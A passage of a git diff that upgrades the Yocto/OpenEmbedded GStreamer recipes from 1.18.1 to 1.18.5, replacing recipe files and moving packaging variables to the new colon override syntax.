-X11DEPENDS = "virtual/libx11 libsm libxrender libxfixes libxdamage"
-X11ENABLEOPTS = "-Dximagesrc=enabled -Dximagesrc-xshm=enabled -Dximagesrc-xfixes=enabled -Dximagesrc-xdamage=enabled"
-X11DISABLEOPTS = "-Dximagesrc=disabled -Dximagesrc-xshm=disabled -Dximagesrc-xfixes=disabled -Dximagesrc-xdamage=disabled"
-
-QT5WAYLANDDEPENDS = "${@bb.utils.contains("DISTRO_FEATURES", "wayland", "qtwayland", "", d)}"
-
-PACKAGECONFIG[asm] = "-Dasm=enabled,-Dasm=disabled,nasm-native"
-PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
-PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
-PACKAGECONFIG[dv1394] = "-Ddv1394=enabled,-Ddv1394=disabled,libiec61883 libavc1394 libraw1394"
-PACKAGECONFIG[flac] = "-Dflac=enabled,-Dflac=disabled,flac"
-PACKAGECONFIG[gdk-pixbuf] = "-Dgdk-pixbuf=enabled,-Dgdk-pixbuf=disabled,gdk-pixbuf"
-PACKAGECONFIG[gtk] = "-Dgtk3=enabled,-Dgtk3=disabled,gtk+3"
-PACKAGECONFIG[gudev] = "-Dv4l2-gudev=enabled,-Dv4l2-gudev=disabled,libgudev"
-PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
-PACKAGECONFIG[jpeg] = "-Djpeg=enabled,-Djpeg=disabled,jpeg"
-PACKAGECONFIG[lame] = "-Dlame=enabled,-Dlame=disabled,lame"
-PACKAGECONFIG[libpng] = "-Dpng=enabled,-Dpng=disabled,libpng"
-PACKAGECONFIG[libv4l2] = "-Dv4l2-libv4l2=enabled,-Dv4l2-libv4l2=disabled,v4l-utils"
-PACKAGECONFIG[mpg123] = "-Dmpg123=enabled,-Dmpg123=disabled,mpg123"
-PACKAGECONFIG[pulseaudio] = "-Dpulse=enabled,-Dpulse=disabled,pulseaudio"
-PACKAGECONFIG[qt5] = "-Dqt5=enabled,-Dqt5=disabled,qtbase qtdeclarative qtbase-native ${QT5WAYLANDDEPENDS}"
-PACKAGECONFIG[soup] = "-Dsoup=enabled,-Dsoup=disabled,libsoup-2.4"
-PACKAGECONFIG[speex] = "-Dspeex=enabled,-Dspeex=disabled,speex"
-PACKAGECONFIG[rpi] = "-Drpicamsrc=enabled,-Drpicamsrc=disabled,userland"
-PACKAGECONFIG[taglib] = "-Dtaglib=enabled,-Dtaglib=disabled,taglib"
-PACKAGECONFIG[v4l2] = "-Dv4l2=enabled -Dv4l2-probe=true,-Dv4l2=disabled -Dv4l2-probe=false"
-PACKAGECONFIG[vpx] = "-Dvpx=enabled,-Dvpx=disabled,libvpx"
-PACKAGECONFIG[wavpack] = "-Dwavpack=enabled,-Dwavpack=disabled,wavpack"
-PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Daalib=disabled \
- -Ddirectsound=disabled \
- -Ddv=disabled \
- -Dlibcaca=disabled \
- -Doss=enabled \
- -Doss4=disabled \
- -Dosxaudio=disabled \
- -Dosxvideo=disabled \
- -Dshout2=disabled \
- -Dtwolame=disabled \
- -Dwaveform=disabled \
-"
-
-FILES_${PN}-equalizer += "${datadir}/gstreamer-1.0/presets/*.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.5.bb
new file mode 100644
index 0000000000..ade935df9e
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.5.bb
@@ -0,0 +1,76 @@
+require gstreamer1.0-plugins-common.inc
+
+DESCRIPTION = "'Good' GStreamer plugins"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-good/-/issues"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-good-${PV}.tar.xz \
+ file://0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch \
+ "
+
+SRC_URI[sha256sum] = "3aaeeea7765fbf8801acce4a503a9b05f73f04e8a35352e9d00232cfd555796b"
+
+S = "${WORKDIR}/gst-plugins-good-${PV}"
+
+LICENSE = "GPLv2+ & LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://gst/replaygain/rganalysis.c;beginline=1;endline=23;md5=b60ebefd5b2f5a8e0cab6bfee391a5fe"
+
+DEPENDS += "gstreamer1.0-plugins-base libcap zlib"
+RPROVIDES:${PN}-pulseaudio += "${PN}-pulse"
+RPROVIDES:${PN}-soup += "${PN}-souphttpsrc"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio x11', d)} \
+ ${@bb.utils.contains('TUNE_FEATURES', 'm64', 'asm', '', d)} \
+ bz2 cairo flac gdk-pixbuf gudev jpeg lame libpng mpg123 soup speex taglib v4l2 \
+"
+
+X11DEPENDS = "virtual/libx11 libsm libxrender libxfixes libxdamage"
+X11ENABLEOPTS = "-Dximagesrc=enabled -Dximagesrc-xshm=enabled -Dximagesrc-xfixes=enabled -Dximagesrc-xdamage=enabled"
+X11DISABLEOPTS = "-Dximagesrc=disabled -Dximagesrc-xshm=disabled -Dximagesrc-xfixes=disabled -Dximagesrc-xdamage=disabled"
+
+QT5WAYLANDDEPENDS = "${@bb.utils.contains("DISTRO_FEATURES", "wayland", "qtwayland", "", d)}"
+
+PACKAGECONFIG[asm] = "-Dasm=enabled,-Dasm=disabled,nasm-native"
+PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+PACKAGECONFIG[dv1394] = "-Ddv1394=enabled,-Ddv1394=disabled,libiec61883 libavc1394 libraw1394"
+PACKAGECONFIG[flac] = "-Dflac=enabled,-Dflac=disabled,flac"
+PACKAGECONFIG[gdk-pixbuf] = "-Dgdk-pixbuf=enabled,-Dgdk-pixbuf=disabled,gdk-pixbuf"
+PACKAGECONFIG[gtk] = "-Dgtk3=enabled,-Dgtk3=disabled,gtk+3"
+PACKAGECONFIG[gudev] = "-Dv4l2-gudev=enabled,-Dv4l2-gudev=disabled,libgudev"
+PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
+PACKAGECONFIG[jpeg] = "-Djpeg=enabled,-Djpeg=disabled,jpeg"
+PACKAGECONFIG[lame] = "-Dlame=enabled,-Dlame=disabled,lame"
+PACKAGECONFIG[libpng] = "-Dpng=enabled,-Dpng=disabled,libpng"
+PACKAGECONFIG[libv4l2] = "-Dv4l2-libv4l2=enabled,-Dv4l2-libv4l2=disabled,v4l-utils"
+PACKAGECONFIG[mpg123] = "-Dmpg123=enabled,-Dmpg123=disabled,mpg123"
+PACKAGECONFIG[pulseaudio] = "-Dpulse=enabled,-Dpulse=disabled,pulseaudio"
+PACKAGECONFIG[qt5] = "-Dqt5=enabled,-Dqt5=disabled,qtbase qtdeclarative qtbase-native ${QT5WAYLANDDEPENDS}"
+PACKAGECONFIG[soup] = "-Dsoup=enabled,-Dsoup=disabled,libsoup-2.4"
+PACKAGECONFIG[speex] = "-Dspeex=enabled,-Dspeex=disabled,speex"
+PACKAGECONFIG[rpi] = "-Drpicamsrc=enabled,-Drpicamsrc=disabled,userland"
+PACKAGECONFIG[taglib] = "-Dtaglib=enabled,-Dtaglib=disabled,taglib"
+PACKAGECONFIG[v4l2] = "-Dv4l2=enabled -Dv4l2-probe=true,-Dv4l2=disabled -Dv4l2-probe=false"
+PACKAGECONFIG[vpx] = "-Dvpx=enabled,-Dvpx=disabled,libvpx"
+PACKAGECONFIG[wavpack] = "-Dwavpack=enabled,-Dwavpack=disabled,wavpack"
+PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Daalib=disabled \
+ -Ddirectsound=disabled \
+ -Ddv=disabled \
+ -Dlibcaca=disabled \
+ -Doss=enabled \
+ -Doss4=disabled \
+ -Dosxaudio=disabled \
+ -Dosxvideo=disabled \
+ -Dshout2=disabled \
+ -Dtwolame=disabled \
+ -Dwaveform=disabled \
+"
+
+FILES:${PN}-equalizer += "${datadir}/gstreamer-1.0/presets/*.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
index 9a7a1b6afe..e906053ac0 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
@@ -6,8 +6,11 @@
# This is mainly used by the gstreamer1.0-plugins-* plugin set recipes,
# but can be used in any recipe that produces GStreamer plugins.
-PACKAGESPLITFUNCS_prepend = " split_gstreamer10_packages "
-PACKAGESPLITFUNCS_append = " set_gstreamer10_metapkg_rdepends "
+# Dynamically generate packages for all enabled plugins
+PACKAGES_DYNAMIC = "^${PN}-.* ^libgst.*"
+
+PACKAGESPLITFUNCS:prepend = " split_gstreamer10_packages "
+PACKAGESPLITFUNCS:append = " set_gstreamer10_metapkg_rdepends "
python split_gstreamer10_packages () {
gst_libdir = d.expand('${libdir}/gstreamer-1.0')
@@ -33,8 +36,8 @@ python set_gstreamer10_metapkg_rdepends () {
pn = d.getVar('PN')
metapkg = pn + '-meta'
- d.setVar('ALLOW_EMPTY_' + metapkg, "1")
- d.setVar('FILES_' + metapkg, "")
+ d.setVar('ALLOW_EMPTY:' + metapkg, "1")
+ d.setVar('FILES:' + metapkg, "")
blacklist = [ pn, pn + '-meta' ]
metapkg_rdepends = []
pkgdest = d.getVar('PKGDEST')
@@ -51,20 +54,20 @@ python set_gstreamer10_metapkg_rdepends () {
is_empty = len(dir_contents) == 0
if not is_empty:
metapkg_rdepends.append(pkg)
- d.setVar('RDEPENDS_' + metapkg, ' '.join(metapkg_rdepends))
- d.setVar('DESCRIPTION_' + metapkg, pn + ' meta package')
+ d.setVar('RDEPENDS:' + metapkg, ' '.join(metapkg_rdepends))
+ d.setVar('DESCRIPTION:' + metapkg, pn + ' meta package')
}
# each plugin-dev depends on PN-dev, plugin-staticdev on PN-staticdev
# so we need them even when empty (like in gst-plugins-good case)
-ALLOW_EMPTY_${PN} = "1"
-ALLOW_EMPTY_${PN}-dev = "1"
-ALLOW_EMPTY_${PN}-staticdev = "1"
+ALLOW_EMPTY:${PN} = "1"
+ALLOW_EMPTY:${PN}-dev = "1"
+ALLOW_EMPTY:${PN}-staticdev = "1"
PACKAGES += "${PN}-apps ${PN}-meta ${PN}-glib"
-FILES_${PN} = ""
-FILES_${PN}-apps = "${bindir}"
-FILES_${PN}-glib = "${datadir}/glib-2.0"
+FILES:${PN} = ""
+FILES:${PN}-apps = "${bindir}"
+FILES:${PN}-glib = "${datadir}/glib-2.0"
-RRECOMMENDS_${PN} += "${PN}-meta"
+RRECOMMENDS:${PN} += "${PN}-meta"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.1.bb
deleted file mode 100644
index 614ef8d740..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.1.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://tests/check/elements/xingmux.c;beginline=1;endline=21;md5=4c771b8af188724855cb99cadd390068"
-
-LICENSE = "GPLv2+ & LGPLv2.1+ & LGPLv2+"
-LICENSE_FLAGS = "commercial"
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${PV}.tar.xz \
- "
-SRC_URI[sha256sum] = "18cd6cb829eb9611ca63cbcbf46aca0f0de1dd28b2df18caa2834326a75ff725"
-
-S = "${WORKDIR}/gst-plugins-ugly-${PV}"
-
-DEPENDS += "gstreamer1.0-plugins-base"
-
-GST_PLUGIN_SET_HAS_EXAMPLES = "0"
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- a52dec mpeg2dec \
-"
-
-PACKAGECONFIG[a52dec] = "-Da52dec=enabled,-Da52dec=disabled,liba52"
-PACKAGECONFIG[amrnb] = "-Damrnb=enabled,-Damrnb=disabled,opencore-amr"
-PACKAGECONFIG[amrwb] = "-Damrwbdec=enabled,-Damrwbdec=disabled,opencore-amr"
-PACKAGECONFIG[cdio] = "-Dcdio=enabled,-Dcdio=disabled,libcdio"
-PACKAGECONFIG[dvdread] = "-Ddvdread=enabled,-Ddvdread=disabled,libdvdread"
-PACKAGECONFIG[mpeg2dec] = "-Dmpeg2dec=enabled,-Dmpeg2dec=disabled,mpeg2dec"
-PACKAGECONFIG[x264] = "-Dx264=enabled,-Dx264=disabled,x264"
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Dsidplay=disabled \
-"
-
-FILES_${PN}-amrnb += "${datadir}/gstreamer-1.0/presets/GstAmrnbEnc.prs"
-FILES_${PN}-x264 += "${datadir}/gstreamer-1.0/presets/GstX264Enc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.5.bb
new file mode 100644
index 0000000000..9777aaee19
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.5.bb
@@ -0,0 +1,43 @@
+require gstreamer1.0-plugins-common.inc
+
+DESCRIPTION = "'Ugly GStreamer plugins"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-ugly/-/issues"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://tests/check/elements/xingmux.c;beginline=1;endline=21;md5=4c771b8af188724855cb99cadd390068"
+
+LICENSE = "GPLv2+ & LGPLv2.1+ & LGPLv2+"
+LICENSE_FLAGS = "commercial"
+
+SRC_URI = " \
+ https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${PV}.tar.xz \
+ "
+SRC_URI[sha256sum] = "df32803e98f8a9979373fa2ca7e05e62f977b1097576d3a80619d9f5c69f66d9"
+
+S = "${WORKDIR}/gst-plugins-ugly-${PV}"
+
+DEPENDS += "gstreamer1.0-plugins-base"
+
+GST_PLUGIN_SET_HAS_EXAMPLES = "0"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ a52dec mpeg2dec \
+"
+
+PACKAGECONFIG[a52dec] = "-Da52dec=enabled,-Da52dec=disabled,liba52"
+PACKAGECONFIG[amrnb] = "-Damrnb=enabled,-Damrnb=disabled,opencore-amr"
+PACKAGECONFIG[amrwb] = "-Damrwbdec=enabled,-Damrwbdec=disabled,opencore-amr"
+PACKAGECONFIG[cdio] = "-Dcdio=enabled,-Dcdio=disabled,libcdio"
+PACKAGECONFIG[dvdread] = "-Ddvdread=enabled,-Ddvdread=disabled,libdvdread"
+PACKAGECONFIG[mpeg2dec] = "-Dmpeg2dec=enabled,-Dmpeg2dec=disabled,mpeg2dec"
+PACKAGECONFIG[x264] = "-Dx264=enabled,-Dx264=disabled,x264"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dsidplay=disabled \
+"
+
+FILES:${PN}-amrnb += "${datadir}/gstreamer-1.0/presets/GstAmrnbEnc.prs"
+FILES:${PN}-x264 += "${datadir}/gstreamer-1.0/presets/GstX264Enc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc
deleted file mode 100644
index b698067041..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-inherit ptest-gnome
-
-TEST_FILES_PATH = "${datadir}/installed-tests/gstreamer-1.0/test-files"
-RUN_PTEST_FILE = "${D}${PTEST_PATH}/run-ptest"
-
-EXTRA_OEMESON += "-Dtest-files-path=${TEST_FILES_PATH}"
-
-GST_TEST_SUITE_NAME ?= "gstreamer-1.0"
-
-# Using do_install_ptest_base instead of do_install_ptest, since
-# the default do_install_ptest_base is hardcoded to expect Makefiles.
-do_install_ptest_base() {
- # Generate run-ptest file
- echo "#!/usr/bin/env sh" > "${RUN_PTEST_FILE}"
- echo "gnome-desktop-testing-runner ${GST_TEST_SUITE_NAME}" >> "${RUN_PTEST_FILE}"
- chmod 0755 "${RUN_PTEST_FILE}"
-
- # Install additional files required by tests
- if [ -d "${S}/tests/files" ] ; then
- install -d "${D}/${TEST_FILES_PATH}"
- install -m 0644 "${S}/tests/files"/* "${D}/${TEST_FILES_PATH}"
- fi
-}
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.1.bb
deleted file mode 100644
index c0c5d271d0..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Python bindings for GStreamer 1.0"
-HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-python/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "42b289422f7ab32757670848cf2245c5a8a8b08a665a9cab65ded8d69364f6f6"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
-RDEPENDS_${PN} += "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
-
-PNREAL = "gst-python"
-
-S = "${WORKDIR}/${PNREAL}-${PV}"
-
-# gobject-introspection is mandatory and cannot be configured
-REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
-UNKNOWN_CONFIGURE_WHITELIST_append = " introspection"
-
-inherit meson pkgconfig distutils3-base upstream-version-is-even gobject-introspection features_check
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.5.bb
new file mode 100644
index 0000000000..045aea4409
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.5.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Python bindings for GStreamer 1.0"
+DESCRIPTION = "GStreamer Python binding overrides (complementing the bindings \
+provided by python-gi) "
+HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-python/"
+SECTION = "multimedia"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "533685871305959d6db89507f3b3aa6c765c2f2b0dacdc32c5a6543e72e5bc52"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
+RDEPENDS:${PN} += "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
+
+PNREAL = "gst-python"
+
+S = "${WORKDIR}/${PNREAL}-${PV}"
+
+EXTRA_OEMESON += "-Dlibpython-dir=${libdir}"
+
+# gobject-introspection is mandatory and cannot be configured
+REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
+GIR_MESON_OPTION = ""
+
+inherit meson pkgconfig distutils3-base upstream-version-is-even gobject-introspection features_check
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.1.bb
deleted file mode 100644
index 30534c9782..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.1.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "A library on top of GStreamer for building an RTSP server"
-HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-rtsp-server/"
-SECTION = "multimedia"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base"
-
-PNREAL = "gst-rtsp-server"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "10a82865c3d199e66731017ca4b120bad071df9889e60cfe4dd6c49d953ef754"
-
-S = "${WORKDIR}/${PNREAL}-${PV}"
-
-inherit meson pkgconfig upstream-version-is-even gobject-introspection
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Dexamples=disabled \
- -Dtests=disabled \
-"
-
-GIR_MESON_ENABLE_FLAG = "enabled"
-GIR_MESON_DISABLE_FLAG = "disabled"
-
-# Starting with 1.8.0 gst-rtsp-server includes dependency-less plugins as well
-require gstreamer1.0-plugins-packaging.inc
-
-CVE_PRODUCT += "gst-rtsp-server"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.5.bb
new file mode 100644
index 0000000000..50426ad46d
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.5.bb
@@ -0,0 +1,31 @@
+SUMMARY = "A library on top of GStreamer for building an RTSP server"
+HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-rtsp-server/"
+SECTION = "multimedia"
+LICENSE = "LGPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base"
+
+PNREAL = "gst-rtsp-server"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "04d63bf48816c6f41c73f6de0f912a7cef0aab39c44162a7bcece1923dfc9d1f"
+
+S = "${WORKDIR}/${PNREAL}-${PV}"
+
+inherit meson pkgconfig upstream-version-is-even gobject-introspection
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Dtests=disabled \
+"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+# Starting with 1.8.0 gst-rtsp-server includes dependency-less plugins as well
+require gstreamer1.0-plugins-packaging.inc
+
+CVE_PRODUCT += "gst-rtsp-server"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.1.bb
deleted file mode 100644
index acf5598a62..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.1.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "VA-API support to GStreamer"
-DESCRIPTION = "gstreamer-vaapi consists of a collection of VA-API \
-based plugins for GStreamer and helper libraries: `vaapidecode', \
-`vaapiconvert', and `vaapisink'."
-
-REALPN = "gstreamer-vaapi"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${REALPN}/${REALPN}-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "400d3c42810b50b4566df03f37319a6bdd758f969560c40147e7d9a3b0e8a6ea"
-
-S = "${WORKDIR}/${REALPN}-${PV}"
-DEPENDS = "libva gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
-
-inherit meson pkgconfig features_check upstream-version-is-even
-
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Dexamples=disabled \
- -Dtests=enabled \
-"
-
-PACKAGES =+ "${PN}-tests"
-
-# OpenGL packageconfig factored out to make it easy for distros
-# and BSP layers to pick either glx, egl, or no GL. By default,
-# try detecting X11 first, and if found (with OpenGL), use GLX,
-# otherwise try to check if EGL can be used.
-PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', \
- bb.utils.contains('DISTRO_FEATURES', 'opengl', 'egl', \
- '', d), d)}"
-
-PACKAGECONFIG ??= "drm encoders \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[drm] = "-Dwith_drm=yes,-Dwith_drm=no,udev libdrm"
-PACKAGECONFIG[egl] = "-Dwith_egl=yes,-Dwith_egl=no,virtual/egl"
-PACKAGECONFIG[encoders] = "-Dwith_encoders=yes,-Dwith_encoders=no"
-PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/libgl"
-PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland wayland-protocols"
-PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxrandr libxrender"
-
-FILES_${PN} += "${libdir}/gstreamer-*/*.so"
-FILES_${PN}-dbg += "${libdir}/gstreamer-*/.debug"
-FILES_${PN}-dev += "${libdir}/gstreamer-*/*.a"
-FILES_${PN}-tests = "${bindir}/*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.5.bb
new file mode 100644
index 0000000000..9a68a3fadf
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.5.bb
@@ -0,0 +1,53 @@
+SUMMARY = "VA-API support to GStreamer"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+DESCRIPTION = "gstreamer-vaapi consists of a collection of VA-API \
+based plugins for GStreamer and helper libraries: `vaapidecode', \
+`vaapiconvert', and `vaapisink'."
+
+REALPN = "gstreamer-vaapi"
+
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${REALPN}/${REALPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "4a460fb95559f41444eb24864ad2d9e37922b6eea941510310319fc3e0ba727b"
+
+S = "${WORKDIR}/${REALPN}-${PV}"
+DEPENDS = "libva gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
+
+inherit meson pkgconfig features_check upstream-version-is-even
+
+REQUIRED_DISTRO_FEATURES ?= "opengl"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Dtests=enabled \
+"
+
+PACKAGES =+ "${PN}-tests"
+
+# OpenGL packageconfig factored out to make it easy for distros
+# and BSP layers to pick either glx, egl, or no GL. By default,
+# try detecting X11 first, and if found (with OpenGL), use GLX,
+# otherwise try to check if EGL can be used.
+PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', \
+ bb.utils.contains('DISTRO_FEATURES', 'opengl', 'egl', \
+ '', d), d)}"
+
+PACKAGECONFIG ??= "drm encoders \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[drm] = "-Dwith_drm=yes,-Dwith_drm=no,udev libdrm"
+PACKAGECONFIG[egl] = "-Dwith_egl=yes,-Dwith_egl=no,virtual/egl"
+PACKAGECONFIG[encoders] = "-Dwith_encoders=yes,-Dwith_encoders=no"
+PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/libgl"
+PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland wayland-protocols"
+PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxrandr libxrender"
+
+FILES:${PN} += "${libdir}/gstreamer-*/*.so"
+FILES:${PN}-dbg += "${libdir}/gstreamer-*/.debug"
+FILES:${PN}-dev += "${libdir}/gstreamer-*/*.a"
+FILES:${PN}-tests = "${bindir}/*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch
index 17f8a0beb7..23ebd5c600 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch
@@ -1,27 +1,44 @@
-From f700975f514758a4a7582c2c972fa54ecfca3302 Mon Sep 17 00:00:00 2001
